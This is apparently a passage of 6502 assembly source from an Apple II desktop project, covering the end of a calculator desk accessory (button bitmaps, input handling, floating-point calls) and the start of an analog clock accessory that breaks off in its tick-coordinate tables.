PIXELS ".###############################################..######"
PIXELS ".###############################################..######"
PIXELS ".###############################################..######"
PIXELS ".###############################################..######"
PIXELS ".###############################################..######"
PIXELS ".###############################################..######"
PIXELS ".###############################################..######"
PIXELS "..................................................######"
PIXELS "#.................................................######"
tall_button_bitmap: ; bitmap for '+' button
PIXELS "....................#"
PIXELS ".##################.."
PIXELS ".##################.."
PIXELS ".##################.."
PIXELS ".##################.."
PIXELS ".##################.."
PIXELS ".##################.."
PIXELS ".##################.."
PIXELS ".##################.."
PIXELS ".##################.."
PIXELS ".##################.."
PIXELS ".##################.."
PIXELS ".##################.."
PIXELS ".##################.."
PIXELS ".##################.."
PIXELS ".##################.."
PIXELS ".##################.."
PIXELS ".##################.."
PIXELS ".##################.."
PIXELS ".##################.."
PIXELS ".##################.."
PIXELS ".##################.."
PIXELS ".##################.."
PIXELS ".##################.."
PIXELS ".##################.."
PIXELS ".##################.."
PIXELS "....................."
PIXELS "#...................."
;;; ============================================================
;;; Calculation state
saved_stack:
.byte $00 ; restored after error
calc_p: .byte $00 ; high bit set if pending op?
calc_op:.byte $00
calc_d: .byte $00 ; decimal separator if present, 0 otherwise
calc_e: .byte $00 ; exponential?
calc_n: .byte $00 ; negative?
calc_g: .byte $00 ; high bit set if last input digit
calc_l: .byte $00 ; input length
;;; ============================================================
;;; Miscellaneous param blocks
.params background_box_params
left: .word 1
top: .word 0
right: .word 129
bottom: .word 96
.endparams
background_pattern:
.byte $77,$DD,$77,$DD,$77,$DD,$77,$DD
black_pattern:
.res 8, $00
white_pattern:
.res 8, $FF
.params settextbg_params
backcolor: .byte $7F
.endparams
kDisplayLeft = 10
kDisplayTop = 5
kDisplayWidth = 120
kDisplayHeight = 17
.params frame_display_params
left: .word kDisplayLeft
top: .word kDisplayTop
width: .word kDisplayWidth
height: .word kDisplayHeight
.endparams
.params clear_display_params
left: .word kDisplayLeft+1
top: .word kDisplayTop+1
width: .word kDisplayWidth-1
height: .word kDisplayHeight-1
.endparams
;; For drawing 1-character strings (button labels)
.params drawtext_params_label
.addr label
.byte 1
.endparams
label: .byte 0 ; modified with char to draw
.params drawtext_params1
textptr: .addr text_buffer1
textlen: .byte 15
.endparams
kTextBufferSize = 14
text_buffer1:
.res kTextBufferSize+2, 0
.params drawtext_params2
textptr: .addr text_buffer2
textlen: .byte 15
.endparams
text_buffer2:
.res kTextBufferSize+2, 0
spaces_string:
PASCAL_STRING " "
error_string:
PASCAL_STRING res_string_error_string
.params textwidth_params
textptr: .addr text_buffer1
textlen: .byte 15
result: .word 0
.endparams
kDAWindowId = $80
.params closewindow_params
window_id: .byte kDAWindowId
.endparams
.params text_pos_params3
left: .word 0
base: .word 16
.endparams
.params text_pos_params2
left: .word 15
base: .word 16
.endparams
.params error_pos
left: .word 69
base: .word 16
.endparams
farg: .byte $00,$00,$00,$00,$00,$00
.params title_bar_bitmap ; Params for MGTK::PaintBits
DEFINE_POINT viewloc, 115, AS_WORD -9
mapbits: .addr pixels
mapwidth: .byte 1
reserved: .byte 0
DEFINE_RECT maprect, 0, 0, 6, 5
REF_MAPINFO_MEMBERS
;; (not part of struct, but not referenced outside)
pixels: PIXELS "#.....#"
PIXELS "#.#.##."
PIXELS "###...#"
PIXELS "###.##."
PIXELS ".##.##."
PIXELS "#..#..#"
.endparams
grafport: .tag MGTK::GrafPort
;; params for MGTK::SetPortBits when decorating title bar
.params screen_port
left: .word 0
top: .word kMenuBarHeight
mapbits: .word MGTK::screen_mapbits
mapwidth: .byte MGTK::screen_mapwidth
reserved: .byte 0
hoff: .word 0
voff: .word 0
width: .word kScreenWidth - 1
height: .word kScreenHeight - kMenuBarHeight - 2
.endparams
penmode_normal: .byte MGTK::pencopy
penmode_xor: .byte MGTK::notpenXOR
kWindowWidth = 130
kWindowHeight = 96
kDefaultLeft = 210
kDefaultTop = 60
.params winfo
window_id: .byte kDAWindowId
options: .byte MGTK::Option::go_away_box
title: .addr window_title
hscroll: .byte MGTK::Scroll::option_none
vscroll: .byte MGTK::Scroll::option_none
hthumbmax: .byte 0
hthumbpos: .byte 0
vthumbmax: .byte 0
vthumbpos: .byte 0
status: .byte 0
reserved: .byte 0
mincontwidth: .word kWindowWidth
mincontheight: .word kWindowHeight
maxcontwidth: .word kWindowWidth
maxcontheight: .word kWindowHeight
port:
DEFINE_POINT viewloc, kDefaultLeft, kDefaultTop
left := viewloc::xcoord
top := viewloc::ycoord
mapbits: .addr MGTK::screen_mapbits
mapwidth: .byte MGTK::screen_mapwidth
reserved2: .byte 0
DEFINE_RECT maprect, 0, 0, kWindowWidth, kWindowHeight
pattern: .res 8, $FF
colormasks: .byte MGTK::colormask_and, MGTK::colormask_or
DEFINE_POINT penloc, 0, 0
penwidth: .byte 1
penheight: .byte 1
penmode: .byte MGTK::pencopy
textback: .byte MGTK::textbg_white
textfont: .addr DEFAULT_FONT
nextwinfo: .addr 0
REF_WINFO_MEMBERS
.endparams
openwindow_params_top := winfo::top
window_title:
PASCAL_STRING res_string_window_title
;;; ==================================================
.macro ROM_CALL addr
jsr ROMCall
.addr addr
.endmacro
;;; ==================================================
;;; Cached settings
intl_deci_sep: .byte 0
;;; ==================================================
;;; DA Init
.proc Init
;; Cache settings
ldx #DeskTopSettings::intl_deci_sep
jsr ReadSetting
sta intl_deci_sep
sta decimal_label
sta decimal_lookup
MGTK_CALL MGTK::OpenWindow, winfo
MGTK_CALL MGTK::InitPort, grafport
MGTK_CALL MGTK::SetPort, grafport
MGTK_CALL MGTK::FlushEvents
jsr ResetBuffer2
jsr DrawContent
jsr ResetBuffersAndDisplay
lda #'=' ; last kOperation
sta calc_op
lda #0 ; clear registers
sta calc_p
sta calc_d
sta calc_e
sta calc_n
sta calc_g
sta calc_l
ldx #sizeof_chrget_routine + 4 ; should be just + 1 ?
DO
copy8 chrget_routine-1,x, CHRGET-1,x
dex
WHILE_NOT_ZERO
lda #0
sta ERRFLG ; Turn off errors
sta SHIFT_SIGN_EXT ; Zero before using FP ops
copy16 #ErrorHook, COUT_HOOK ; set up FP error handler
lda #1
ROM_CALL FLOAT
ldxy #farg
ROM_CALL ROUND
lda #0 ; set FAC to 0
ROM_CALL FLOAT
ROM_CALL FADD
ROM_CALL FOUT
lda #$07
ROM_CALL FMULT
lda #$00
ROM_CALL FLOAT
ldxy #farg
ROM_CALL ROUND
tsx
stx saved_stack
lda #'='
jsr ProcessKey
lda #'C'
jsr ProcessKey
FALL_THROUGH_TO InputLoop
.endproc ; Init
;;; ============================================================
;;; Input Loop
.proc InputLoop
JSR_TO_MAIN JUMP_TABLE_SYSTEM_TASK
MGTK_CALL MGTK::GetEvent, event_params
lda event_params::kind
IF_A_EQ #MGTK::EventKind::button_down
jsr OnClick
jmp InputLoop
END_IF
cmp #MGTK::EventKind::key_down
bne InputLoop
jsr OnKeyPress
jmp InputLoop
.endproc ; InputLoop
;;; ============================================================
;;; On Click
.proc OnClick
MGTK_CALL MGTK::FindWindow, findwindow_params
lda findwindow_params::which_area
cmp #MGTK::Area::content
bcc ignore_click
lda findwindow_params::window_id
IF_A_NE #kDAWindowId ; This window?
ignore_click:
rts
END_IF
lda findwindow_params::which_area
IF_A_EQ #MGTK::Area::content ; Content area?
jsr MapClickToButton ; try to translate click into key
bcc ignore_click
jmp ProcessKey
END_IF
IF_A_EQ #MGTK::Area::close_box ; Close box?
MGTK_CALL MGTK::TrackGoAway, trackgoaway_params
lda trackgoaway_params::goaway
beq ignore_click
exit: pla ; pop OnClick / OnKeyPress
pla
MGTK_CALL MGTK::CloseWindow, closewindow_params
JSR_TO_MAIN JUMP_TABLE_CLEAR_UPDATES
jmp ExitDA
END_IF
cmp #MGTK::Area::dragbar ; Title bar?
bne ignore_click
copy8 #kDAWindowId, dragwindow_params::window_id
MGTK_CALL MGTK::DragWindow, dragwindow_params
bit dragwindow_params::moved
IF_NS
JSR_TO_MAIN JUMP_TABLE_CLEAR_UPDATES
jmp DrawContent
END_IF
ret: rts
.endproc ; OnClick
exit := OnClick::exit
;;; ============================================================
;;; On Key Press
.proc OnKeyPress
lda event_params::key
jsr ToUpperCase
ldx event_params::modifiers
IF_NOT_ZERO
cmp #kShortcutCloseWindow
beq exit
bne bail ; always
END_IF
IF_A_EQ #CHAR_RETURN ; Treat Return as Equals
lda #'='
bne process ; always
END_IF
IF_A_EQ #CHAR_CLEAR ; Treat Control+X as Clear
lda #'C'
bne process ; always
END_IF
IF_A_EQ #CHAR_ESCAPE ; Treat Escape as Clear *or* Close
lda calc_p
bne clear ; empty state?
lda calc_l
beq exit ; if so, exit DA
clear: lda #'C' ; otherwise turn Escape into Clear
END_IF
process:
jmp ProcessKey
bail:
FALL_THROUGH_TO rts1
.endproc ; OnKeyPress
rts1: rts ; used by next proc
;;; ============================================================
;;; Try to map a click to a button
;;; If a button was clicked, carry is set and accum has key char
.proc MapClickToButton
copy8 #kDAWindowId, screentowindow_params::window_id
MGTK_CALL MGTK::ScreenToWindow, screentowindow_params
lda screentowindow_params::windowx+1 ; ensure high bits of coords are 0
ora screentowindow_params::windowy+1
bne rts1
lda screentowindow_params::windowy
ldx screentowindow_params::windowx
FALL_THROUGH_TO FindButtonRow
.proc FindButtonRow
cmp #kRow1Top+kBorderLeftTop - 1 ; row 1 ? (- 1 is bug in original?)
bcc miss
IF_A_LT #kRow1Bot+kBorderBottomRight + 1 ; (+ 1 is bug in original?)
jsr FindButtonCol
bcc miss
lda row1_lookup,x
rts
END_IF
cmp #kRow2Top-kBorderLeftTop ; row 2?
bcc miss
IF_A_LT #kRow2Bot+kBorderBottomRight
jsr FindButtonCol
bcc miss
lda row2_lookup,x
rts
END_IF
cmp #kRow3Top-kBorderLeftTop ; row 3?
bcc miss
IF_A_LT #kRow3Bot+kBorderBottomRight
jsr FindButtonCol
bcc miss
lda row3_lookup,x
rts
END_IF
cmp #kRow4Top-kBorderLeftTop ; row 4?
bcc miss
IF_A_LT #kRow4Bot+kBorderBottomRight
jsr FindButtonCol
bcc miss
sec
lda row4_lookup,x
rts
END_IF
IF_A_LT #kRow5Top-kBorderLeftTop ; special case for tall + button
lda screentowindow_params::windowx
cmp #kCol4Left-kBorderLeftTop
bcc miss
cmp #kCol4Right+kBorderBottomRight-1 ; is -1 bug in original?
bcs miss
lda #'+'
sec
rts
END_IF
cmp #kRow5Bot+kBorderBottomRight ; row 5?
bcs miss
jsr FindButtonCol
IF_CS
lda row5_lookup,x
rts
END_IF
lda screentowindow_params::windowx ; special case for wide 0 button
IF_A_GE #kCol1Left-kBorderLeftTop
IF_A_LT #kCol2Right+kBorderBottomRight
lda #'0'
sec
rts
END_IF
END_IF
miss: clc
rts
.endproc ; FindButtonRow
row1_lookup := *-1
.byte 'C', 'E', '=', '*'
row2_lookup := *-1
.byte '7', '8', '9', '/'
row3_lookup := *-1
.byte '4', '5', '6', '-'
row4_lookup := *-1
.byte '1', '2', '3', '+'
row5_lookup := *-1
.byte '0', '0', SELF_MODIFIED_BYTE, '+'
::decimal_lookup := *-2
.proc FindButtonCol
cpx #kCol1Left-kBorderLeftTop ; col 1?
bcc miss
IF_X_LT #kCol1Right+kBorderBottomRight
ldx #1
sec
rts
END_IF
cpx #kCol2Left-kBorderLeftTop ; col 2?
bcc miss
IF_X_LT #kCol2Right+kBorderBottomRight
ldx #2
sec
rts
END_IF
cpx #kCol3Left-kBorderLeftTop ; col 3?
bcc miss
IF_X_LT #kCol3Right+kBorderBottomRight
ldx #3
sec
rts
END_IF
cpx #kCol4Left-kBorderLeftTop ; col 4?
bcc miss
IF_X_LT #kCol4Right+kBorderBottomRight - 1 ; bug in original?
ldx #4
sec
rts
END_IF
miss: clc
rts
.endproc ; FindButtonCol
.endproc ; MapClickToButton
;;; ============================================================
;;; Handle Key
;;; Accumulator is set to key char. Also used by
;;; click handlers (button is mapped to key char)
;;; and during initialization (by sending 'C', etc)
.proc ProcessKey
IF_A_EQ #'C' ; Clear?
ldxy #btn_c::port
lda #'c'
jsr DepressButton
lda #0
ROM_CALL FLOAT
ldxy #farg
ROM_CALL ROUND
copy8 #'=', calc_op
lda #0
sta calc_p
sta calc_l
sta calc_d
sta calc_e
sta calc_n
jmp ResetBuffersAndDisplay
END_IF
IF_A_EQ #'E' ; Exponential?
ldxy #btn_e::port
lda #'e'
jsr DepressButton
ldy calc_e
bne rts1
ldy calc_l
IF_ZERO
inc calc_l
lda #'1'
sta text_buffer1 + kTextBufferSize
sta text_buffer2 + kTextBufferSize
END_IF
copy8 #'E', calc_e
jmp update
rts1: rts
END_IF
IF_A_EQ #'=' ; Equals?
pha
ldxy #btn_eq::port
jmp DoOpClick
END_IF
IF_A_EQ #'*' ; Multiply?
pha
ldxy #btn_mul::port
jmp DoOpClick
END_IF
cmp intl_deci_sep ; Decimal?
beq dsep
IF_A_EQ #'.' ; allow either
dsep: ldxy #btn_dec::port
jsr DepressButton
lda calc_d
ora calc_e
bne rts2
lda calc_l
IF_ZERO
inc calc_l
END_IF
copy8 intl_deci_sep, calc_d
jmp update
rts2: rts
END_IF
IF_A_EQ #'+' ; Add?
pha
ldxy #btn_add::port
jmp DoOpClick
END_IF
IF_A_EQ #'-' ; Subtract?
pha
ldxy #btn_sub::port
lda calc_e ; negate vs. subtract
IF_NOT_ZERO
lda calc_n
IF_ZERO
SET_BIT7_FLAG calc_n
pla
pha
jmp do_digit_click
END_IF
END_IF
pla
pha
jmp DoOpClick
END_IF
IF_A_EQ #'/' ; Divide?
pha
ldxy #btn_div::port
jmp DoOpClick
END_IF
IF_A_EQ #'0' ; Digit 0?
pha
ldxy #btn_0::port
jmp do_digit_click
END_IF
IF_A_EQ #'1' ; Digit 1?
pha
ldxy #btn_1::port
jmp do_digit_click
END_IF
IF_A_EQ #'2' ; Digit 2?
pha
ldxy #btn_2::port
jmp do_digit_click
END_IF
IF_A_EQ #'3' ; Digit 3?
pha
ldxy #btn_3::port
jmp do_digit_click
END_IF
IF_A_EQ #'4' ; Digit 4?
pha
ldxy #btn_4::port
jmp do_digit_click
END_IF
IF_A_EQ #'5' ; Digit 5?
pha
ldxy #btn_5::port
jmp do_digit_click
END_IF
IF_A_EQ #'6' ; Digit 6?
pha
ldxy #btn_6::port
jmp do_digit_click
END_IF
IF_A_EQ #'7' ; Digit 7?
pha
ldxy #btn_7::port
jmp do_digit_click
END_IF
IF_A_EQ #'8' ; Digit 8?
pha
ldxy #btn_8::port
jmp do_digit_click
END_IF
IF_A_EQ #'9' ; Digit 9?
pha
ldxy #btn_9::port
jmp do_digit_click
END_IF
IF_A_EQ #CHAR_DELETE ; Delete?
ldy calc_l
beq end
IF_Y_EQ #1
jsr ResetBuffer1AndState
jmp DisplayBuffer1
END_IF
dec calc_l
ldx #0
lda text_buffer1 + kTextBufferSize
IF_A_EQ intl_deci_sep
stx calc_d
END_IF
IF_A_EQ #'E'
stx calc_e
END_IF
IF_A_EQ #'-'
stx calc_n
END_IF
ldx #kTextBufferSize-1
DO
lda text_buffer1,x
sta text_buffer1+1,x
sta text_buffer2+1,x
dex
dey
WHILE_NOT_ZERO
lda #' '
sta text_buffer1+1,x
sta text_buffer2+1,x
jmp DisplayBuffer1
END_IF
end: rts
.endproc ; ProcessKey
do_digit_click:
jsr DepressButton
IF_ZERO
pla
rts
END_IF
pla
update: SET_BIT7_FLAG calc_g
ldy calc_l
IF_ZERO
pha
jsr ResetBuffer2
pla
IF_A_EQ #'0'
jmp DisplayBuffer1
END_IF
END_IF
SET_BIT7_FLAG calc_p
cpy #10
bcs rts3
pha
ldy calc_l
beq empty
lda #15
sec
sbc calc_l
tax
DO
lda text_buffer1,x
sta text_buffer1-1,x
sta text_buffer2-1,x
inx
dey
WHILE_NOT_ZERO
empty: inc calc_l
pla
sta text_buffer1 + kTextBufferSize
sta text_buffer2 + kTextBufferSize
jmp DisplayBuffer1
rts3: rts
.proc DoOpClick
jsr DepressButton
IF_ZERO
pla
rts
END_IF
lda calc_op
IF_A_EQ #'='
lda calc_g
bne reparse
lda #0
ROM_CALL FLOAT
jmp do_op
END_IF
lda calc_g
bne reparse
pla
sta calc_op
jmp ResetBuffer1AndState
reparse:
;; Copy string to `FBUFFR`, mapping decimal char.
ldx #kTextBufferSize
DO
lda text_buffer1,x
IF_A_EQ intl_deci_sep
lda #'.'
END_IF
sta FBUFFR,x
dex
WHILE_POS
copy16 #FBUFFR, TXTPTR
jsr CHRGET
ROM_CALL FIN
do_op: pla
ldx calc_op
sta calc_op
lda #<farg
ldy #>farg
IF_X_EQ #'+'
ROM_CALL FADD
jmp PostOp
END_IF
IF_X_EQ #'-'
ROM_CALL FSUB
jmp PostOp
END_IF
IF_X_EQ #'*'
ROM_CALL FMULT
jmp PostOp
END_IF
IF_X_EQ #'/'
ROM_CALL FDIV
jmp PostOp
END_IF
IF_X_EQ #'='
ldy calc_g
IF_ZERO
jmp ResetBuffer1AndState
END_IF
END_IF
FALL_THROUGH_TO PostOp
.endproc ; DoOpClick
.proc PostOp
ldxy #farg ; after the FP kOperation is done
ROM_CALL ROUND
ROM_CALL FOUT ; output as null-terminated string to FBUFFR
ldy #0 ; count the size
DO
lda FBUFFR,y
BREAK_IF_ZERO
iny
WHILE_NOT_ZERO ; always
ldx #kTextBufferSize ; copy to text buffers
DO
lda FBUFFR-1,y
IF_A_EQ #'.' ; map decimal character
lda intl_deci_sep
END_IF
sta text_buffer1,x
sta text_buffer2,x
dex
dey
WHILE_NOT_ZERO
;; Add leading zero if starting with decimal
IF_A_EQ #'-'
;; skip leading '-' temporarily
inx
jsr MaybeAddLeadingZero
lda #'-'
sta text_buffer1,x
sta text_buffer2,x
dex
ELSE
jsr MaybeAddLeadingZero
END_IF
cpx #0 ; pad out with spaces if needed
bmi end
pad: lda #' '
sta text_buffer1,x
sta text_buffer2,x
dex
bpl pad
end: jsr DisplayBuffer1
FALL_THROUGH_TO ResetBuffer1AndState
.endproc ; PostOp
.proc ResetBuffer1AndState
jsr ResetBuffer1
lda #0
sta calc_l
sta calc_d
sta calc_e
sta calc_n
sta calc_g
rts
.endproc ; ResetBuffer1AndState
.proc MaybeAddLeadingZero
lda text_buffer1+1,x
IF_A_EQ intl_deci_sep
lda #'0'
sta text_buffer1,x
sta text_buffer2,x
dex
END_IF
rts
.endproc ; MaybeAddLeadingZero
.proc DepressButton
stxy invert_addr
stxy inrect_params
stxy restore_addr
MGTK_CALL MGTK::GetWinPort, getwinport_params
IF_A_EQ #MGTK::Error::window_obscured
lda #$80 ; key was pressed
rts
END_IF
MGTK_CALL MGTK::SetPort, grafport
button_state := $FC
MGTK_CALL MGTK::SetPattern, black_pattern
MGTK_CALL MGTK::SetPenMode, penmode_xor
SET_BIT7_FLAG button_state
invert: MGTK_CALL MGTK::PaintRect, 0, invert_addr ; Inverts port
check_button:
MGTK_CALL MGTK::GetEvent, event_params
lda event_params::kind
cmp #MGTK::EventKind::drag ; Button down?
bne done ; Nope, done immediately
copy8 #kDAWindowId, screentowindow_params::window_id
MGTK_CALL MGTK::ScreenToWindow, screentowindow_params
MGTK_CALL MGTK::MoveTo, screentowindow_params::window
MGTK_CALL MGTK::InRect, 0, inrect_params
bne inside
lda button_state ; outside, not down
beq check_button ; so keep looping
lda #0 ; outside, was down
sta button_state ; so set up
beq invert ; and show it
inside: lda button_state ; inside, and down
bne check_button ; so keep looking
SET_BIT7_FLAG button_state ; inside, was not down so set down
jmp invert ; and show it
done: lda button_state ; high bit set if button down
IF_NOT_ZERO
MGTK_CALL MGTK::PaintRect, 0, restore_addr ; Inverts back to normal
END_IF
MGTK_CALL MGTK::SetPenMode, penmode_normal ; Normal draw mode??
lda button_state
rts
.endproc ; DepressButton
;;; ============================================================
;;; Value Display
.proc ResetBuffer1
ldy #kTextBufferSize
DO
copy8 #' ', text_buffer1-1,y
dey
WHILE_NOT_ZERO
copy8 #'0', text_buffer1 + kTextBufferSize
rts
.endproc ; ResetBuffer1
.proc ResetBuffer2
ldy #kTextBufferSize
DO
copy8 #' ', text_buffer2-1,y
dey
WHILE_NOT_ZERO
copy8 #'0', text_buffer2 + kTextBufferSize
rts
.endproc ; ResetBuffer2
.proc ResetBuffersAndDisplay
jsr ResetBuffer1
jsr ResetBuffer2
FALL_THROUGH_TO DisplayBuffer1
.endproc ; ResetBuffersAndDisplay
.proc DisplayBuffer1
MGTK_CALL MGTK::GetWinPort, getwinport_params
cmp #MGTK::Error::window_obscured
beq end
MGTK_CALL MGTK::SetPort, grafport
ldxy #text_buffer1
jsr PreDisplayBuffer
MGTK_CALL MGTK::DrawText, drawtext_params1
end: rts
.endproc ; DisplayBuffer1
.proc DisplayBuffer2
MGTK_CALL MGTK::GetWinPort, getwinport_params
cmp #MGTK::Error::window_obscured
beq end
MGTK_CALL MGTK::SetPort, grafport
ldxy #text_buffer2
jsr PreDisplayBuffer
MGTK_CALL MGTK::DrawText, drawtext_params2
end: rts
.endproc ; DisplayBuffer2
.proc PreDisplayBuffer
stx textwidth_params::textptr ; text buffer address in x,y
sty textwidth_params::textptr+1
MGTK_CALL MGTK::TextWidth, textwidth_params
lda #kDisplayWidth-15 ; ???
sec
sbc textwidth_params::result
sta text_pos_params3::left
MGTK_CALL MGTK::MoveTo, text_pos_params2 ; clear with spaces
param_call DrawString, spaces_string
MGTK_CALL MGTK::MoveTo, text_pos_params3 ; set up for display
rts
.endproc ; PreDisplayBuffer
;;; ============================================================
;;; Draw the window contents (background, buttons)
.proc DrawContent
MGTK_CALL MGTK::GetWinPort, getwinport_params
RTS_IF_A_EQ #MGTK::Error::window_obscured
MGTK_CALL MGTK::SetPort, grafport
;; Frame
MGTK_CALL MGTK::HideCursor
MGTK_CALL MGTK::SetPattern, background_pattern
MGTK_CALL MGTK::PaintRect, background_box_params
MGTK_CALL MGTK::SetPattern, black_pattern
MGTK_CALL MGTK::FrameRect, frame_display_params
MGTK_CALL MGTK::SetPattern, white_pattern
MGTK_CALL MGTK::PaintRect, clear_display_params
MGTK_CALL MGTK::SetTextBG, settextbg_params
;; Buttons
ptr := $FA
copy16 #btn_c, ptr
loop: ldy #0
lda (ptr),y
beq DrawTitleBar ; done!
lda ptr ; address for shadowed rect params
sta bitmap_addr
ldy ptr+1
sty bitmap_addr+1
clc ; address for label pos
adc #(btn_c::pos - btn_c)
sta text_addr
bcc :+
iny
: sty text_addr+1
ldy #(btn_c::label - btn_c) ; label
copy8 (ptr),y, label
MGTK_CALL MGTK::PaintBitsHC, 0, bitmap_addr ; draw shadowed rect
MGTK_CALL MGTK::MoveTo, 0, text_addr ; button label pos
MGTK_CALL MGTK::DrawText, drawtext_params_label ; button label text
lda ptr ; advance to next record
clc
adc #.sizeof(btn_c)
sta ptr
bcc loop
inc ptr+1
jmp loop
.endproc ; DrawContent
;;; ============================================================
;;; Draw the title bar decoration
.proc DrawTitleBar
kOffsetLeft = 115 ; pixels from left of client area
kOffsetTop = 22 ; pixels from top of client area (up!)
ldx winfo::left+1
lda winfo::left
addax8 #kOffsetLeft, title_bar_bitmap::viewloc::xcoord
ldx winfo::top+1
lda winfo::top
subax8 #kOffsetTop, title_bar_bitmap::viewloc::ycoord
MGTK_CALL MGTK::SetPortBits, screen_port ; set clipping rect to whole screen
MGTK_CALL MGTK::PaintBitsHC, title_bar_bitmap ; Draws decoration in title bar
MGTK_CALL MGTK::ShowCursor
jmp DisplayBuffer2
.endproc ; DrawTitleBar
;;; ============================================================
;;; Traps FP error via call to $36 from MON.COUT, resets stack
;;; and returns to the input loop.
.proc ErrorHook
bit LCBANK1
bit LCBANK1
jsr ResetBuffersAndDisplay
MGTK_CALL MGTK::GetWinPort, getwinport_params
IF_A_NE #MGTK::Error::window_obscured
MGTK_CALL MGTK::SetPort, grafport
MGTK_CALL MGTK::MoveTo, error_pos
param_call DrawString, error_string
END_IF
jsr ResetBuffer1AndState
copy8 #'=', calc_op
ldx saved_stack
txs
jmp InputLoop
.endproc ; ErrorHook
PROC_AT chrget_routine, ::CHRGET
dummy_addr := $EA60
DO
inc16 TXTPTR
.assert * + 1 = TXTPTR, error, "misaligned routine"
lda dummy_addr ; this ends up being aligned on TXTPTR
cmp #'9'+1 ; after digits?
bcs end
WHILE_A_EQ #' ' ; space? keep going
sec
sbc #'0' ; convert to digit...
sec
sbc #$D0 ; carry set if successful
end: rts
END_PROC_AT
sizeof_chrget_routine = .sizeof(chrget_routine)
;;; ============================================================
.include "../lib/uppercase.s"
.include "../lib/drawstring.s"
.include "../lib/rom_call.s"
;;; ============================================================
DA_END_AUX_SEGMENT
;;; ============================================================
DA_START_MAIN_SEGMENT
JSR_TO_AUX aux::InitDA
rts
DA_END_MAIN_SEGMENT
;;; ============================================================
|
a2stuff/a2d
| 8,816
|
src/desk.acc/analog.clock.s
|
;;; ============================================================
;;; ANALOG.CLOCK - Desk Accessory
;;;
;;; Clears the screen and shows the current time.
;;; ============================================================
.include "../config.inc"
.include "apple2.inc"
.include "../inc/apple2.inc"
.include "../inc/macros.inc"
.include "../inc/prodos.inc"
.include "../mgtk/mgtk.inc"
.include "../common.inc"
.include "../desktop/desktop.inc"
;;; ============================================================
DA_HEADER
DA_START_AUX_SEGMENT
;;; ============================================================
;;; Copy of DATELO/HI and TIMELO/HI
datetime:
.tag DateTime
;;; Assert: Called from Aux
.proc GetDateTime
JSR_TO_MAIN DoMLIGetTime
copy16 #DATELO, STARTLO
copy16 #DATELO+.sizeof(DateTime)-1, ENDLO
copy16 #datetime, DESTINATIONLO
sec ; main>aux
jmp AUXMOVE
.endproc ; GetDateTime
;;; ============================================================
;;; Graphics Resources
event_params: .tag MGTK::Event
grafport: .tag MGTK::GrafPort
notpencopy: .byte MGTK::notpencopy
pencopy: .byte MGTK::pencopy
pensize: .byte 2, 1
DEFINE_POINT pt1, 0, 0
DEFINE_POINT pt2, 0, 0
DEFINE_POINT pt_center, kScreenWidth/2, kScreenHeight/2
DEFINE_POINT pt_m, 0, 0
DEFINE_POINT pt_h, 0, 0
;;; ============================================================
parsed: .tag ParsedDateTime
;;; ============================================================
;;; DA Init
.proc Init
MGTK_CALL MGTK::ObscureCursor
;; Clear screen to black
MGTK_CALL MGTK::InitPort, grafport
MGTK_CALL MGTK::SetPort, grafport
MGTK_CALL MGTK::SetPenMode, notpencopy
MGTK_CALL MGTK::PaintRect, grafport + MGTK::GrafPort::maprect
jsr DrawTicks
MGTK_CALL MGTK::FlushEvents
FALL_THROUGH_TO InputLoop
.endproc ; Init
;;; ============================================================
;;; Main Input Loop
.proc InputLoop
jsr MaybeUpdate
MGTK_CALL MGTK::GetEvent, event_params
lda event_params + MGTK::Event::kind
cmp #MGTK::EventKind::button_down ; was clicked?
beq exit
cmp #MGTK::EventKind::key_down ; any key?
beq exit
jmp InputLoop
exit:
MGTK_CALL MGTK::RedrawDeskTop
MGTK_CALL MGTK::DrawMenuBar
JSR_TO_MAIN JUMP_TABLE_HILITE_MENU
rts ; exits input loop
.endproc ; InputLoop
;;; ============================================================
.proc DrawTicks
;; Set up for drawing
MGTK_CALL MGTK::SetPenSize, pensize
MGTK_CALL MGTK::SetPenMode, pencopy
;; Draw ticks
lda #0
sta tindex
sta tfives
DO
ldx tindex
txa
asl
tax
copy16 ticks_outer_xs,x, pt1::xcoord
copy16 ticks_outer_ys,x, pt1::ycoord
lda tfives
IF_ZERO
copy16 ticks_inner2_xs,x, pt2::xcoord
copy16 ticks_inner2_ys,x, pt2::ycoord
copy8 #4, tfives
ELSE
copy16 ticks_inner1_xs,x, pt2::xcoord
copy16 ticks_inner1_ys,x, pt2::ycoord
dec tfives
END_IF
MGTK_CALL MGTK::MoveTo, pt1
MGTK_CALL MGTK::LineTo, pt2
inc tindex
lda tindex
WHILE_A_NE #60
rts
tindex: .byte 0
tfives: .byte 0
.endproc ; DrawTicks
;;; ============================================================
;;; Update
;;; Call `Update` if there's a change from last time
.proc MaybeUpdate
jsr GetDateTime
;; Compare
ldx #.sizeof(DateTime)-1
DO
lda datetime,x
cmp last,x
bne diff
dex
WHILE_POS
rts ; no change
;; Different! update
diff: COPY_STRUCT DateTime, datetime, last
jmp Update
last: .tag DateTime
.endproc ; MaybeUpdate
.proc Update
copy16 #parsed, $A
param_call ParseDatetime, datetime
MGTK_CALL MGTK::InitPort, grafport
MGTK_CALL MGTK::SetPort, grafport
MGTK_CALL MGTK::SetPenSize, pensize
;; Erase
MGTK_CALL MGTK::SetPenMode, notpencopy
jsr draw
;; Update minute hand
lda parsed+ParsedDateTime::minute
asl
tax
copy16 min_hand_xs,x, pt_m::xcoord
copy16 min_hand_ys,x, pt_m::ycoord
;; Update hour hand
ldx parsed+ParsedDateTime::hour
lda hour_base,x
ldx parsed+ParsedDateTime::minute
adc min_offset,x
asl
tax
copy16 hour_hand_xs,x, pt_h::xcoord
copy16 hour_hand_ys,x, pt_h::ycoord
;; Draw
MGTK_CALL MGTK::SetPenMode, pencopy
draw: MGTK_CALL MGTK::MoveTo, pt_center
MGTK_CALL MGTK::LineTo, pt_m
MGTK_CALL MGTK::MoveTo, pt_center
MGTK_CALL MGTK::LineTo, pt_h
rts
.endproc ; Update
;;; ============================================================
ticks_outer_xs:
.word 280,299,317,336,354,371,387,402,415,427,437,446,453,458,461,462,461,458,453,446,437,427,415,402,387,371,354,336,317,299,280,260,242,223,205,188,172,157,144,132,122,113,106,101,98,97,98,101,106,113,122,132,144,157,172,188,205,223,242,260
ticks_outer_ys:
.word 4,5,6,9,12,17,22,28,34,42,50,58,67,77,86,96,105,114,124,133,141,149,157,163,169,174,179,182,185,186,187,186,185,182,179,174,169,163,157,149,141,133,124,114,105,96,86,77,67,58,50,42,34,28,22,17,12,9,6,5
ticks_inner1_xs:
